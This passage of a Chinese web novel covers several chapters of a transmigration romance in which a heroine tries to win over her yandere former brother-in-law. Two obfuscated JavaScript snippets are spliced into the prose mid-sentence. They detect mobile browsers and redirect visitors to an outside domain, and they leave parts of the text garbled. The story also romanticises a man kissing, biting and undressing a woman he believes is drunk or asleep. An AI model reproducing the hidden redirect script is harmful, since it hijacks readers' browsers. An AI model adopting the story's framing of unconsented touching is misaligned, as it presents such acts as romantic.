辛夷听它当面讲身边人的坏话,有些不高兴,“我们时空局的姐姐都是相亲相爱,你个铁疙瘩懂什么?” 说完她也没兴趣再理会系统,而是摆出了有些脆弱落寞的神情,对着面前的少年道,“阿芥,我想喝酒。” “上次的桂花酿不够,我要喝更烈的酒。” 窗棂被夜风吹开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778595|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一点缝隙,带着月色和寒星的薄凉,还有远处楼阙的京城烟火。 寂静的飘进来,弥散满室酒香。 一柱香过去,两柱香过去,三炷香过去…… 桌案上的酒盏已经东倒西歪,之前红唇喃喃着要喝完半坛女儿红的辛夷,也醉得不成样子。 她从矮榻上起身,单薄摇晃的扶着桌案的边缘要站起来,结果扑进了沈如芥的怀中。 然后就安分下来,笑眯眯仰起脸,伸出纤细的藕臂抱住他脖颈,酒香混杂着女子幽香扑到他鼻尖。 “阿盈,给我梳妆……” 原来是把他当做婢女了。 沈如芥的掌心还按在她的腰肢上,不知道是不是封闭的房间太闷热,他昳丽眉眼间隐约渗出细汗。但还是按照她要求的那样,用手指当梳子,给她梳理如瀑的乌发。 梳完了还不算,还要洗手、揉肩,最后竟然…… 竟然让他侍候自己换衣裳。 灯火摇晃下,她醉得脸蛋红扑扑,没骨头似的坐在矮榻上,望向人的眼睛却乌润水亮,仿佛春初落了薄雪的静湖。 沈如芥喉结发痒,他想起那日婢女们私下议论的那句话,“夫人穿了件窈蓝色的鲛纱襦裙,唇上涂了胭脂,像樽小观音一样。” “那模样瞧得我都心动,侯爷用膳的时候多看了她好几眼。” 所以。 她从前去找沈归用膳,穿的也是这件衣裳么? 沈归也瞧见过她这个样子么? 也被她这般脸颊绯红的抱着撒娇过,让他给自己梳头、换过衣裳么? 或许还不止,她还会用那双眼睛满含羞怯的唤他夫君,无论对方怎么对待她、亵玩她,她都是忍耐接受的。 因为那是她的夫君,他们可以被世俗允许的做任何事。 沈如芥嫉妒得凤眼猩红,快要喘不过气来。 于是就那么伸手抚上了怀中女子仰起的小脸,对着她醉意朦胧的杏眼,微微笑了下,“辛夷,唤我夫君。” 怀中女子被他冰冷指腹激得打了个哆嗦,但是也没躲,语调茫然又无措,“夫……夫君。” 他忽然低头,无法忍耐的吻住那双唇。 将她所有破碎细弱的呜咽都吞进唇齿间,揉住她细伶的肩头,抵开齿关,许是亲得太凶太急,以至于发出了些微水声。 舌尖搅在一起,呜咽和喘息也是。 甚至不知道从什么时候开始,系好的裙襟也松散了,鬓边珠花掉到榻边,冰冷的指腹随便按在哪处都能激起一阵轻颤…… 就在将要更不可控时,门扉却忽然被打开,随即是踉跄着脚步的一声慌张低呼。 沈如芥这才纠缠不舍的分开唇瓣,抬头去看。 原来是郑妩。 她方才出去雅间如厕,没想到再回来的时候竟然不小心推错了房门,撞见了如此旖旎荒唐的场景。 俊秀少年伏在女子肩头轻轻喘息,像一只还未尽兴的艳.鬼。 郑妩僵住了,她没想到侯府初遇那个玄衣冷冽的少年,竟还有这副痴缠模样。 尤其是她推门的刹那,少年察觉到动静,把怀中女子揽入胸口。 将她松散的小衣提上去遮掩住香肩,一边微微喘息,一边用烦躁阴鸷的目光望过来的时候……郑妩简直不敢相信自己的眼睛。 但她很快就反应过来,踉跄着退后两步,然后通红着脸慌手慌脚的跑掉了。 等到回去雅间坐下的时候,沈归明显察觉到她的不对劲,忧心地拧眉问道,“是不是身子哪里不舒服,脸怎么红成这样?” 郑妩回想起方才那一幕,脸上更红了,眼睫飘忽着轻颤两下。 到底是没有说出来。 她原本是想问沈归,二公子是不是在外头有了喜欢的女子?但想到侯爷最厌恶提及庶弟,已经到了听见名字就要发怒的程度。 于是只是笑了笑,转移话题,“可能是屋里的炉子烧得太热,妾身穿的衣裳又厚,不妨事。” 沈归听罢点点头,也没有再多问。 因为他最近的心境亦有些奇怪,总是动不动就走神,想到那个不知好歹的拿了放妻书离开侯府的女人。就连跟阿妩在一起时,都免不了会如此。 就比如此刻,他不仅出神想到了辛夷的那张脸。甚至耳边好像听到了她细弱的一声呜咽,娇媚无措的,仿佛就在不远处。 于是赶紧沉下脸摇了摇头,不让自己再胡思乱想。 炉烟袅袅,一墙之隔。 矮榻上的女子裙裾和少年玄裳都有些凌乱,袖口处压出的褶皱可以想见,方才亲了多久。 房门重新关上之后,沈如芥有短暂的清醒。 他看着此刻柔若无骨的被欺在身下,懵懂着神情媚眼如丝,裙襟松散,微肿的红唇泛着水泽的女子,才意识到自己究竟做了什么。 但他只是失神片刻,便抵着她的颈窝轻笑起来。 不仅没有松开她整理衣裳,反而将她在怀中愈发的抱紧了,语气也粘腻痴缠,“辛夷同我,早该如此。” 为什么不能是他? 他比沈归忠贞。 怀中人醉得要命,自然听不懂他在胡乱放肆的说些什么。 只能听着他在耳畔蛊惑,没有半分廉耻心,“我漂不漂亮,辛夷?” 怀中人好似有些迟钝,很慢的想了一下,然后懵懂点头,“……漂亮。” “那我们,再亲一会儿好不好。” 少年垂头咬了口她的脖颈,很快又变成湿漉的啄吻,绯红眼尾一片病态,“就像刚才那样,好不好?我保证没人知道。” 努力装醉,但嘴皮子超疼的辛夷:“………………” 滚。 18. 闺秀嫂嫂×貌美病娇18 阿盈给辛夷早起梳妆。 发现夫人……哦不,小姐她有些困恹恹的,中间打了好几个呵欠,一副宿醉后的可怜模样。 她心里有些疑惑,但不敢说。 昨夜是二公子抱着她家小姐回来的,回来的时候人就已经醉得不成样子了,而且二公子也奇怪,非要亲自侍候小姐净手擦脸,还半跪着给她除了绣鞋罗袜。 看着少年就那么垂下俊秀脸庞,伸手握住了榻上女子那只藏在襦裙下的雪白伶仃脚踝,阿盈心里有种说不出的怪异和不舒服。 但他们平日里就很亲近,二公子也敬重小姐这个前嫂嫂,很听她的话,甚至有的时候阿盈都觉得他有点黏人了。 于是当下阿盈虽然隐隐的觉得不太舒服,到底也没有多想。 只是二公子非要亲力亲为的侍候,那么小姐最里头贴身穿着的那件小衣,肯定是没法子换的。最后只除掉了那层繁复累赘的外裳,就躺在榻上睡了。 今晨她起来侍候小姐梳洗更衣的时候,才发现她脖颈处,好似有几个蚊子叮过的红痕。 而且锁骨下方被遮掩的地方,也透着几分诡异的淤青痕迹。 小姐听到了她询问的话,原本惺忪困倦的神情愣了一下,然后微微笑着说,“不碍事,可能是我喝醉后不小心磕在桌角了。” 阿盈支支吾吾的没好意思说,她瞧着那处有些、有些像齿痕。 但又觉得不可能,昨晚出门有二公子在旁边贴身跟着,就算小姐吃醉了酒,又有哪个不要命的孟浪登徒子敢在那处咬小姐呢? 许是莫名联想到沈如芥昨夜蹲在榻边,伸手帮小姐脱绣鞋的那一幕。阿盈心里的诡异感觉又来了,而且竟然越来越强烈。 如果,如果真如她所想那样,二公子对小姐存了那种隐晦可怖的心思。 阿盈受到惊吓似的瞪大眼睛,然后使劲摇了摇头:不成不成! 怎么成呢! 就算夫人同侯爷和离了,也曾经是二公子的嫂嫂,他怎么能,怎么能…… 于是她内心煎熬挣扎了片刻,还是决定要提醒小姐,叫她从今以后防备二公子,跟他保持距离。 稍微组织了一下语言后,阿盈有些期期艾艾的开口,“小姐,奴婢觉得、奴婢觉得……” 辛夷等了小半天,也没等到她下一句。 于是转过头,纳闷不解地问,“你觉得怎么?是又在纠结哪支步摇的颜色衬我,或者哪朵珠花好看么?” 阿盈摇摇头,终于缓缓开口,“奴婢觉得,二公子好喜欢你啊。” 是那种不正常的喜欢,是会被人吐口水,骂水性杨花狐狸精的那种喜欢。 辛夷听罢沉默。 她想到昨夜的吻,也有些一言难尽。 因为直到现在,她的嘴皮子还在隐隐作痛。 她甚至毫不怀疑,沈如芥要是个蜘蛛的话,都能在她身上吐丝了。 阿盈见她迟迟不应,继续提醒,“小姐,咱们以后离二公子远些罢,免得叫旁人说闲话。” “奴婢知道您向来心软,总是想报答他幽州求药的恩情,也总是心疼可怜他在侯府的处境。可毕竟男女有别,而且,您现在也不是他的嫂嫂了。” 辛夷又沉默片刻,“放心罢,不会有闲话的。” 都是真话,身斜不怕影子正。而且她要想刷满反派好感度,还得继续攻略呢。 “小姐……” 辛夷忍不住好笑,抬手捏捏她的脸,“你怎么学得跟阿芥似的,这么喜欢跟我撒娇?行了,去准备早膳罢,咱们可不能饿肚子。” 小丫头见跟她说不通,气鼓鼓的走了。 * 今日天气不错,盛京之中也很热闹。 玄衣少年腰佩着长剑走在前头,冷冽的一双凤眼里没什么情绪,偶尔闪过一丝厌恶不耐。 而在他身后,则是胳膊上挂满胭脂水粉和糕点的蓝衣少女。 吕鸢气死了,她本来就在七皇子那儿吃了好多日的闭门羹,想折磨沈如芥撒撒气,没想到到最后把自己累得够呛。 而且听到她愤怒又震惊的指控后,对方竟然嗤笑着说,“阿鸢姑娘,殿下只吩咐我陪你闲逛,可没说过要帮你提东西。我只做殿下吩咐的那部分,应当也没什么问题罢?” 吕鸢气得简直快要呕血:奶奶个腿儿的,萧从荆是个狗东西!就连他身边人也不是什么好东西!! 一个到处怜香惜玉,一个根本不会怜香惜玉。 她一时间难受得有些想哭,尤其是想到萧从荆最近对她的躲避与冷落。 而且现在走得腿又疼,胳膊也坠得疼,风吹得她原本俏丽的脸蛋都有些皲裂了,还渴得要命。 她眼眶酸红得不行,有点儿良心的人都应该过来问问她怎么样了,要不要帮忙? 可是沈如芥看到之后,竟然完全的无动于衷,不对……他好像更不耐烦了,眼神甚至明晃晃的写着几个大字:到底死不死?早点死了他好瞧在殿下的面子上,替她收尸。 吕鸢终于忍不住了,对着他讽刺怒骂:“姓沈的,你这么烂的性格活该讨不到娘子!因为根本不会有眼瘸的小娘子喜欢你,你这辈子都不会知道温香软玉在怀是什么滋味!” 然后她发现,少年不仅没有像之前那样回嘴,反而被她骂得愣住之后微微脸红了。 吕鸢:“??” 有病吧他,这时候有什么人值得他想的? 正在茫然不解的当下,忽然听到身后传来一道细柔的女声,“阿芥?” 吕鸢转过头,瞧见了一张貌美温婉的女子面容,她穿着浅玉色留仙裙,螓首蛾眉,雪肤花貌,旁边跟着个伶俐的小丫鬟。 吕鸢第一次瞧见陌生女郎,瞧得脸红了。然后很快,她就知道了面前女子是谁。 邬辛夷,那个被沈归休弃的病秧子世家女。 沈如芥好像完全变了个人,他积郁在眉眼间的阴鸷与冷漠尽数消解,看上去良善无害极了,就差不能当场摇尾巴。 而且还用那种会让吕鸢起鸡皮疙瘩的语调,凑过去同她说话,“辛夷,你怎么来了?” 辛夷睇着水眸,柔婉一笑,“闲着无事,和阿盈出来采买些东西。” 说着望向一旁瞧着她脸红的吕鸢,“阿芥,这位姑娘是……” 辛夷当然知道面前的少女名叫阿鸢,是吕刺史家的女儿。 但她就是故意要问,还用那种隐约误解、又不好张口的表情看着他们两个。 沈如芥怕她误会,根本没想着瞒她,当即极为利落的撇清关系,“跟我没关系,是七皇子心仪的人,我只是听从殿下吩咐陪她游逛。” 确实太会装乖了,简直就跟昨夜缠着辛夷亲了又摸的少年,不是一个人。 辛夷听到他坦然说出“七皇子”几个字后,做出微微惊讶的样子。 但也没有过多追问,只是有些了然的点头,“原来是这样。” 于是原本的两两成行,变成了四人同行。 吕鸢算是看出来了,沈如芥很“怕”他的这个前嫂嫂,对她温声细语的言听计从,在意得简直有些病态了。 天上有稀疏的雀鸟飞过去,叽叽喳喳的。 正是中午日头还算比较暖和,虽然仍旧有些冷意,但不至于多么刺骨。 沈如芥却停下来,蹙眉帮“嫂嫂”系紧身上的披风,又进到临街的铺子里给她买了只暖手的绣袋,体贴的塞到她手中。 不仅如此,也知道女孩子需要怜惜了,没走几步路就要侍候她休息,还挑了间很贵的茶楼请她们坐下来吃茶。 这么强烈的区别对待之下,吕鸢感到深深的自我怀疑:难道她真的这么惹人烦? 不仅萧从荆那个狗东西不肯见她,就连沈如芥也是。 她这半天挂着一大堆东西走路,累得胳膊疼脚疼,喉咙都快渴得冒烟儿了,沈如芥也当没看见。 没有丝毫想要怜悯她的意思。 可换成了他嫂嫂,他就有眼色得很。 话语间别说带着冷漠奚落了,就连声音高点儿都不肯,仿佛对方是什么一碰就碎的脆皮美人。 要是辛夷能听到她的心里话,估计也会:“……” 也并没有当她一碰就碎。 至少昨夜咬她的时候,就恨不得把她连骨带皮的揉碎了。 小二哥过来热情的招呼,将他们引到大堂的一张空桌前坐下。 然后各种糕点茶水介绍了一遍,没等片刻,就把他们点的那几样端上来。 阿盈也一并坐下,在旁边将倒好的温热茶水递到她手上。 辛夷笑笑,然后垂下两道小扇子似的睫羽慢吞吞的喝,假装没注意到少年流连在她红唇上的晦暗视线。 而在桌案另一边,喝了盏热茶之后恢复体力的吕鸢,也从方才的那场郁卒中解脱出来。 但怎么想都不解气,尤其是看到玄衣少年拿起筷子的第一件事,就是将碟子上的那只元宝形状的水晶糕夹给辛夷,“来,尝尝这个。” 又装!又装!! 好像满桌就属他最懂事,就他最知道怎么心疼人。 她在心底骂了两句,然后眼珠子一转,就想到了给沈如芥上眼药的法子。 于是靠近了辛夷那边,故意用少年能听到的声量 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她下意识缩了缩脖子,竟然有些后悔自己方才的逞能了。 好在被她献殷勤告小状的邬姑娘,并没有太将这番话放在心上。 只当是他们熟人之间的打趣,于是也就莞尔一笑,“没关系,阿芥很好,他不会骗我的。” 是辛夷想骗他。 而且还是骗完了就跑,找都找不着的那种。 听到这里,少年的神色才算缓和了一点。 吕鸢心有余悸。 算了。 被骗就被骗罢,她也不是菩萨,邬家娘子倒霉总好过她自己倒霉。她可不想被沈如芥这个病态疯子,给暗中记恨上。 * 夜凉如水,庭院也幽静下来。 厢房里燃着几盏烛火,将榻上和案前的两道人影柔柔照亮。 沈如芥仍然选择在她的房中打地铺。 给他另外安排房间睡床也不要。 理由自然是十分的冠冕堂皇:比如这处宅子所在的位置靠近烟花柳巷,夜里总是不算太平,离近些也方便看顾她。 两人床榻和地铺之间隔了一道屏风。 辛夷还没换寝衣,而且没什么睡意,于是走到屏风外的桌案前给自己倒了一盏茶,接着拿出前两日没看完的那个话本子,坐下来继续读。 不是什么《贤媛集》和《女则》。 而是阿盈怕她无聊,特意从别处搜罗到的灵异志怪话本子,当然辛夷并不是太满意,但她一个大家闺秀也不适合看更猎奇的,只好无聊的时候用来打发时间。 她放下茶盏,看到了段落开头处的“须弥芥子”这四个字。 眼前忽然浮现出她刚进入这个小世界的时候,脑海中涌入的那一幕景象。 夜巷里那个伤势惨重的少年,迎着撕扯的朔风,声音稚嫩却冰冷漠然,“沈如芥,命如草芥的芥。” 仿佛有了这样的名字。 在他今后日复一日的生活之中,就可以理所应当的不被任何人偏爱。 辛夷叹了口气,忽然有些心软。 她抬眼看着不远处的少年,以及那副幽深而昳丽过分的眉眼。 沈如芥也在一直望着她。 “阿芥。” 沈如芥走过来。 就着烛火可以清晰地看到,少年那双狭长凤眼里的占有欲和喜欢快要满溢出来了。 辛夷笑眯眯摸了摸他的头发,然后说起了在话本子上看到的东西,“据说神仙的世界里有一种叫做须弥芥子的东西,很厉害,可以容纳世间万物。” 她眼睛望住他,很认真的说,“须弥芥子的芥,也是阿芥的芥。” 所以,不是命如草芥。 从来都不是,以后就更加不会是。 辛夷说完放下了摸他乌发的手,唇边仍然带笑,用很自然的语气问,“如果阿芥也有一个须弥芥子的话,最想收集什么东西?” 金银珠宝?骏马阔屋? 少年被问得眉眼一怔,却迟迟没有回答。 辛夷还以为他没听清,于是又试探着喊了一声,“阿芥?” “你。” 辛夷依旧茫然:“什么?” 少年漆黑的眸子望向她,眉眼沉寂,没有一丝一毫的玩笑之色,“你方才不是问,如果我也有一个须弥芥子,最想把什么装进去吗?” 他说着,纤长浓密的睫羽忽然一颤。 像揉碎了一枝春日梨花。 “是你,辛夷。” 19. 闺秀嫂嫂×貌美病娇19 辛夷愣了好一会儿,感觉差点把持不住自己过分欢快的心跳。 这到底是谁攻略谁啊,本来是想撩反派,结果一不小心差点被对方攻略了。 深呼吸,深呼吸。 可是他用那张脸说情话就真的很犯规啊!! 辛夷觉得自己有点脸热,敷衍的笑着说她知道了,然后打个呵欠表示自己困了,要上床睡觉。 她没忽略少年眼底一闪而过的落寞,但她仍然对此毫无表示。 不过上床之前,她照例在帘帐角落的小香炉里点了安神香,这两三日都是如此。 她还特意对沈如芥说过,是因为自己睡眠浅,点上安神香可以睡得很沉。 系统当时就不理解:“你睡得那么沉干嘛?” “当然是有用处。”辛夷道。 前两天按兵不动,是为了不让少年对今夜可能会发生的事情产生怀疑。 毕竟她可是端庄矜持的世家闺秀,绝对不会做出任何主动撩拨的举动。所以如果发生点儿什么,跟她一点关系也没有。 夜半三更,庭院中没有别的声响,月色也泠泠的格外清寂。 只有厢房里有两道清浅的呼吸,各自都在睡梦中。 忽然,榻上的绸帐中似乎传来隐隐的女子啜泣声,很低微,但确实时断时续。 沈如芥被啜泣声惊醒,在屏风外的地铺上睁开眼睛,只惺忪茫然一瞬,就反应过来是辛夷在哭。 他心里骤然一紧,连案上的灯烛都来不及点,慌忙起身去看。 撩开帘帐,借着窗户宣纸透过的隐约月色,才发现榻上的女子仿佛被梦魇住了,咬着唇瓣哭得呜呜咽咽的格外可怜。 沈如芥伸手去剥她被如瀑乌发埋住的苍白小脸,摸到了满脸的冰凉泪水。 带得他都呼吸一滞,心底愈发绵密的疼了起来。 “辛夷,醒醒……”他一边用衣袖给她轻柔擦眼泪,一边蹙着眉喊她。 可惜喊了好多声,榻上女子始终没醒,只是啜泣声渐渐地止住了,没有新的眼泪流出来。 沈如芥的手指上还沾着她湿润的残泪,他对着那张犹在睡中的女子面容,呆望了许久。 刚想起身,就被一只素手柔荑胡乱抓住了衣袖,她姝丽眉眼紧闭着,可怜虚弱的说着祈求的梦话,“别走……侯爷,别走。” 许是睡前没有将寝衣系紧,她这一动作间,月白亵衣散乱挣开了,露出了齿痕变浅的那处起伏。 沈如芥听到那声含糊不清的“侯爷”,本来已经被委屈和嫉妒击中,连眼底都恨红了。 可是等看清楚那个齿痕后,却骤然一愣,然后一张俊脸慢慢地升温变红。 是他咬的。 前些日他荒唐时不可自抑地咬了她,第一个齿痕落在肩头,剩余的则是在……没想到那痕迹竟然到现在还没消尽。 装睡的辛夷:当然没消尽。 她那个地方连药膏都没舍得涂,就等着今夜“不小心”地给他看见,然后勾起旖旎回忆呢。 沈如芥果然没走,他沉默片刻后在她榻边坐下。 然后替她把散开的襟带一点点系好,明明是很简单的动作,他却仿佛经历了漫长而难忍的折磨,俊秀的额边渗出薄汗。 在亵衣即将重新系好的那一刻,榻上女子又呜咽地蹙着秀眉,喊了一声,“侯爷……” 仿佛她在梦中,都在痴痴的渴慕着另外一个人。 少年身形彻底僵住,低垂的睫羽之下是密不透光的浓稠漆黑,半晌,他轻笑一声。 于是勾指扯开了,那条垂落在女子胸侧的细软襟带。 “辛夷。”他凑到她耳边,用很乖的语气笑着说,“那日在茶楼,沈归带着郑妩在隔壁饮茶用膳时,是我在亲你。” “你那时满脸娇媚啜泣含住的,也是我的舌尖。” 辛夷听着他说骚话,很想给他一巴掌。 但在这个当下,却也只能假装毫不知晓的继续睡着,好让今晚的一切都能顺利进行。 片刻静默之后,沈如芥偏头与她鼻尖相抵,是夫妻之间才会有的那种耳鬓厮磨。 然后笑了一声,湿漉而准确含住了她的唇瓣。 怀中女子今夜好亲得不行,唇瓣被磨两下就松开,似乎要勾人命。 浅淡月光照进昏暗的罗帐一角,让人分不清楚少年与女子混乱交融的乌发青丝。 辛夷也是在这个时候渐渐“醒转”的。 她假装被亲得透不过气,这才呜咽着睁开惺忪迷濛的眸子,但一时间分不清梦境现实。 更漏已过丑时,铜炉里的安神香早就燃尽了。 她被迫红着脸仰起脖颈,直到她感觉有些不对劲,他、他好像…… 还没来得及开始表演的辛夷:“……” 她要不还是再装一下吧。 这个时候怎么看都不适合梨花带雨地扮无辜,更不适合“我不听!我不听!”的展开质问。 然而怀着这种心情又坚持了片刻,她却发觉状况好像越来越糟糕了。 “…………” 还好沈如芥也知道不能再这样继续下去,终于喘息着分开了唇瓣。 摸摸她努力假装紧闭,却止不住发颤暴露的薄细眼皮,又在她唇角亲了一下,才起身离开床榻,不做停留地推门走了出去。 系统纳闷儿:“这大半夜的,他干嘛去了?” 辛夷无力望天,想到刚才的那一幕,也有些脸红,“应该是去洗冷水澡了。” 沈如芥大概去了半个时辰,这才湿漉地披散着乌发从外头回来。 他进来之后,点燃了案上的烛火,还有厢房里其他支起来的琉璃灯。 接着绕过屏风,去看辛夷。 他知道她已经醒了,起码在他们亲到最后的时候醒过来了。这样也好,他那些快将自己折磨到发疯的心思不必再藏着了。 他喜欢辛夷,他想服侍辛夷。 如果他是辛夷的夫君,一定会比兄长那个废物做得更好。 然后他就看到了榻上女子那张怔怔的苍白小脸,杏眼泛红,下颌尖细得可怜,抱着散开的亵衣呆滞无措地坐着。 顺着细长的脖颈向下,都是被吻咬过的痕迹,就连挂在身上的那件亵衣也被揉皱了。 听到他的脚步声后抬起头来,红肿湿润的唇瓣上还黏着几缕发丝。 纤浓睫羽轻轻一眨,眼泪便落下了,像是经受了很大的惊吓与委屈。 “别过来,阿芥……” 她无助的哀求他,像是极力维持最后一丝体面,“你别过来,我刚刚只是、只是梦魇着了。” 似乎他今夜只要不走过去,不逼着她认清现实,这荒唐靡乱的一切就可以当做没有发生。 等到天亮了,他还是她那乖巧听话的好阿芥,只是阿芥。 “你没做梦,我亲你了。” 少年走过去伸手摩挲她的脸,倏然轻笑出声,看似平静的漆眸中却带着玉石俱焚的偏执,“亲了好多地方,那日在茶楼也亲了,本来只是亲,后来哪里都想咬……” “啪——” 榻上女子咬着唇瓣颤抖地流泪,抬起素手狠狠给了他一巴掌,望住他,忽然就有些泣不成声,“出去,你现在就滚出去!” * 侯府,书房。 靛青色衣袍的俊逸男子正沉着脸翻阅公文,小厮守在旁边大气都不敢出,也不能怪他忐忑害怕,实在是侯爷近来的脾性过于阴晴不定。 就连那千金难求的端砚,都被摔碎了好几副。 小厮看沈归的脸色越来越差,于是委婉建议道,“要不侯爷去阿妩姑娘的院子里歇歇?坐下来喝盏茶,听她跟您说说话?” “不去。”沈归神色冷沉。 他放下手中卷牍,看了眼身旁吓得不行的小厮,愈发觉得心烦,于是干脆挥手让他出去了。 书房里只剩他一个人。 沈归思绪飘远,想到了前几日在街上偶遇的那个女人,被他休弃后很快离开侯府的辛夷。 他原以为她会过得不好,因为一个常年病弱又被夫君休弃的女子,本就会面对数不清的闲言碎语。 等她受够了旁人的奚落与指点,吃够了外面的那些苦头,自然就会悔不该当初,哭哭啼啼地回过头来求他。 到时候他会看在曾经夫妻一场的面子上,心软怜悯,给她个容身之处。 虽然正妻的名分是不可能了,但可以给她个孩子,让她有个属于自己的骨血子嗣。 但他万万没想到,她不仅没有如他想象之中的那样凄楚落魄,反而比在侯府的时候更加开心。 她站在沈如芥身旁,笑得那么温柔好看,还当街从袖中掏出帕子,不知羞耻地给他擦去唇边糕点碎屑,根本不知道什么叫做避嫌! 而那小孽畜竟然乖顺地弯着唇凑过去,叫她看仔细了再擦。 “辛夷。”他叫她辛夷,还用那样理所应当的神态喂她吃糖酥,掉在沈如芥掌心的糖渣她红着脸不肯舔,他就低笑着自己用唇抿了。 该死!下贱!! 他们没发现沈归的存在,自然也就没看到那一刻他眼中涌现的痛恨愤怒。 邬辛夷她竟然敢,她竟然真的敢! 沈归只能不断的在心中告诫自己:那不过是个水性杨花的女人,是他早就抛弃不要的女人,没什么值得惦记留恋的。 可惜最后仍旧不能说服自己。 因为那笑容实在是过于璀璨刺眼,让他嫉妒,让他念念不忘。她本该是她的妻子,为他更衣束发,为他褪去少女的青涩后孕育子嗣。 沈归太嫉妒了,他想过要杀了沈如芥那个小孽畜,让他彻底从这个世界上消失。 对方也看出了他的心思。 少年索性不再伪装,而是冲他露出了森冷獠牙,微微笑着问道,“兄长,以你的身手,就算再加上这整个侯府的侍卫,也杀不了我。而且若我遭逢不测,最多不过两日,‘沈侯残害手足’的消息就会传遍整个京城,朝野上下,无人不知。兄长真的想要在这样的节骨眼上,冒这种风险么?” 沈归被他戳到痛处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈如芥呼吸一颤,紧紧盯住她的脸。 好似那低落了数日的情绪,也因为她这句话乍然瓦解,但一颗心还是委屈到酸涩,“辛夷……” “站远点,别挡到我看书。”她的声音也闷闷的。 很快有客登门拜访,是吕鸢。 她是特意过来请沈如芥的,当然也是受人所托。据说前两个月的诗会,顾知府家的千金也去了,顾小姐当时便对少年的那张俊秀脸庞一见钟情。 但她当日因为家中有事,提早离席。 于是没能跟心仪的少年说上话,也是到了后来才知道他被世家纨绔欺负的事,气得特意写了首诗,讽刺那名行事不端的恶劣纨绔。 前几天顾小姐听到自己的闺中密友吕鸢,在面前吐槽沈如芥,才知道他们认识。 于是托吕鸢过来邀请,想让沈如芥教她骑马。 沈如芥耐着性子听完,当即脸上就没什么情绪,冷声吐出两个字,“不去。” 吕鸢看他那根木头样子,简直气得想跺脚,“人家姑娘主动邀约你,你别不知好歹!” 少年嗤笑,“就是不知好歹。” 见对方软硬不吃,吕鸢也拿他没办法,总不能绑着他去。 好在她想到沈如芥只听某人的话,于是跑到辛夷身边,抱着她的胳膊摇晃央求,“邬小娘子,你快帮着我说说罢!我已经答应顾小姐了,吹牛皮被戳破很丢脸的。” 辛夷被摇晃得失笑,抬眼望向他,“阿芥,你去罢。” 沈如芥的脸色已经不能用难看来形容。 眼眶蓦然就酸红了,好像她做了多么狠心过分的事。 吕鸢拿了免死金牌,笑嘻嘻道,“呐,辛夷都说叫你去了,难不成你要惹她生气?” 最后沈如芥望着她无动于衷的清艳侧脸,望了许久。 终于自嘲地勾唇笑了一下,然后跟吕鸢说,“好啊,不就是教骑马么?我去就是了。” 说完面无表情的拿起石案上的佩剑,路过辛夷的时候再没说多余的话,转身就要和吕鸢出门。 却在即将踏出院门的那一刻,被系统精准捕捉到了好感值变化,“叮咚~检测到沈如芥的好感度降低十个点,现在为80!” 辛夷:“……” 她终于试探开口,叫了一声“阿芥”。 然后脑海中又是,“叮咚~恭喜宿主,反派目前好感度上涨为85%,再接再励哟。” 少年转过身来,上一刻还阴郁的漆眸中渐渐漫开几分笑意,“既然辛夷不想让我去,那我便不去了。” 辛夷沉默了。 按照每降10个点,才能涨回去5点的这个规律。 如果她现在说自己不是想要挽留他,而是提醒他可以晚些回来,会不会好感度跌破及格线? 20. 闺秀嫂嫂×貌美病娇20 辛夷识相地闭上了嘴,只跟他说了两句路上小心。 然后她看到少年眼底有光彩迅速地黯淡了下去,脚步也滞住了,虽然冷着脸不说话,但也没有继续离开的意思。 有点儿像跟她赌气,或者耍赖皮。 最后的结果就是,他们几个一起出门了。 因为吕鸢算是发现了,如果不把辛夷给捎上,沈如芥就算勉强去了,肯定也是不情不愿地没有好脸。 于是两辆马车一前一后地往目的地走。 沈如芥自然是要挨着辛夷坐,吕鸢自己单独一辆马车。 阿盈没跟着来,所以马车里头现下只有他们两个。 她撇过头,伸手撩开缀着厚流苏的帘子,假装去看外头的风景。 那道视线却始终黏附在她脸上。 灼热,偏执,不容忽视。 辛夷终于忍不住转过头,气恼地瞪住他,“你到底想干什么?盯了我一路了!” 只是她的声线软,又刻意压低了声音怕被旁人听到,结合那副姝丽婉约的眉眼,不像动怒倒像撒娇。 少年的漆眸中是压抑翻涌的情愫,他知道她或许会生气,但是仍旧说,“辛夷,我想抱你。” 那张脸实在生得太俊了,说这种情话女孩子根本遭不住,比如辛夷,她觉得自己再多看反派两眼都快演不下去了。 表面上虽然还是一副“抱什么抱,你知不知羞”的矜持模样,但实际上快控制不住自己坐他腿上了。 再忍忍,再忍忍,色字头上一把刀!! 千万要清醒一点啊辛夷! 于是她就那么一路给自己默念道德经,硬生生坚持到了下马车的时候。 撩开帘子的时候还不要他碰,非要自己下去,结果身子不中用差点儿绊倒,还是被抱了。 辛夷:“……” 沈如芥把她放下来,正要跟她说话。 不远处的别院门前就有一位姑娘迎了上来,她先是跟吕鸢笑说了两句,然后有些不好意思的朝他们两个瞧过来。 辛夷也望过去,小姑娘模样长得挺水灵的,一笑还有两颗虎牙。 应该是吕鸢方才跟她介绍过了,于是她撞上辛夷的目光后笑了笑,“邬姑娘。” 接着视线又掠过她,扫向身侧的少年,这次有点儿脸红结巴,“沈、沈二公子。” 顾小姐闺名顾思,头上还有哥哥姐姐,是家中最小的那个,一看就知道是备受宠爱长大的。 这样的姑娘在面对心上人的时候,虽然初时会羞涩一点,但接触下来,很快就会变得大胆了。 果然没一会儿,她就围在沈如芥身边不停的聊天问问题。 比如要怎么控制马匹啦,缰绳要怎么拉啦,想调整方向掉头的话应该怎么办……总之很热情。 沈如芥的脸色不算太好,语气也敷衍冷淡,只挑最要紧的问题回答。 而且短短十几分钟,他的眉头皱了大概二十多次,连坐在一旁休息的辛夷都有些看不下去。 